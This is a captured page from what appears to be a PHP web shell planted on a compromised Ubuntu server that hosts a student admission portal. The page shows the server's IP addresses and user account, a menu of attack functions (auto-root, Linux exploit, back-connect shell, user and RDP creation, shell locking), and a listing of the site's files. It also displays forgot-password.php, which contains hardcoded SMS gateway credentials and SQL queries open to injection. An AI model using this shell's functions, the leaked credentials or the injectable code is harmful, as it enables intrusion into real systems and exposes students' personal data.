Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.141.21.106
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
gach /
adm /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
razorpay
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
student_photos
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
MainPage.html
41.1
KB
-rwxr-xr-x
MainPage_dev.html
0
B
-rwxr-xr-x
MainPage_with_values.html
40.77
KB
-rwxr-xr-x
Notification.pdf
41.04
KB
-rwxr-xr-x
Registrationpage.html
5.39
KB
-rwxr-xr-x
Reprint.html
6.8
KB
-rwxr-xr-x
admission_sms_push.php
2.42
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.51
KB
-rwxr-xr-x
cronjob_sendsms.php
2.52
KB
-rwxr-xr-x
database.php
442
B
-rwxr-xr-x
direct-signin.php
886
B
-rw-rw-r--
feestr.pdf
33.42
KB
-rwxr-xr-x
forgot-password.php
2.19
KB
-rwxr-xr-x
forgotPassword.html
3.84
KB
-rwxr-xr-x
index.html
9.57
KB
-rwxr-xr-x
index_1.html
130
B
-rwxr-xr-x
instruction.html
10.31
KB
-rwxr-xr-x
instruction_10092018.html
8.37
KB
-rwxr-xr-x
instruction_24092018.html
9.08
KB
-rwxr-xr-x
instruction_regn.html
5.07
KB
-rwxr-xr-x
login.php
294
B
-rwxr-xr-x
registration.html
12.77
KB
-rwxr-xr-x
upload.php
393
B
-rwxr-xr-x
upload1.php
389
B
-rwxr-xr-x
upload_file.php
718
B
-rwxr-xr-x
verify.php
7.28
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forgot-password.php
<?php include ("database.php"); include("sendsmsapi.php"); include("sendGridMail.php"); error_reporting(E_ALL); ini_set('display_errors', 'on'); //$regno = $_POST['regno']; $mob = trim($_POST['mobile']); $query = "SELECT femail from collstud where fmobileno = '{$mob}' and ifnull(factive,'') = 'T'"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); if($count >0) { $row = mysqli_fetch_assoc($result); $email = $row['femail']; $otp = rand(100000, 900000); $smsotp = "Dear Student, Your mobile OTP for reseting password is $otp"; $username = 'logisyhttp'; $password = 'Logis986'; $from = 'LOGINF'; $to = $mob; $text = $smsotp; $category = ''; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>OTP for reseting your password is $otp<br/></p></br>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="Admission Portal : Forgot Password"; if($email != '' ) { $resp = sendGridMail($email,$subject,$message,''); $data = json_decode($resp, true); } //$data = send_manual_mail($email,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in'); $query = "update collstud set fresetotp = '{$otp}', fresetotptime = now(), fresetotpcount = fresetotpcount+1 where fmobileno = '{$mob}'"; $result = mysqli_query($conn,$query); if($result == 1) { $response['femail'] = $email; $response['status'] = 'success'; $response['msg'] = 'OTP sent to your registered mobile: '.$mob.' and email :'.$email; echo json_encode($response); } else { $response['status'] = 'error'; $response['msg'] = 'Something went wrong'; echo json_encode($response); } } else { $response['status'] = 'error'; $response['msg'] = 'Try with registered mobile number'; echo json_encode($response); } mysqli_close($conn); ?>
Close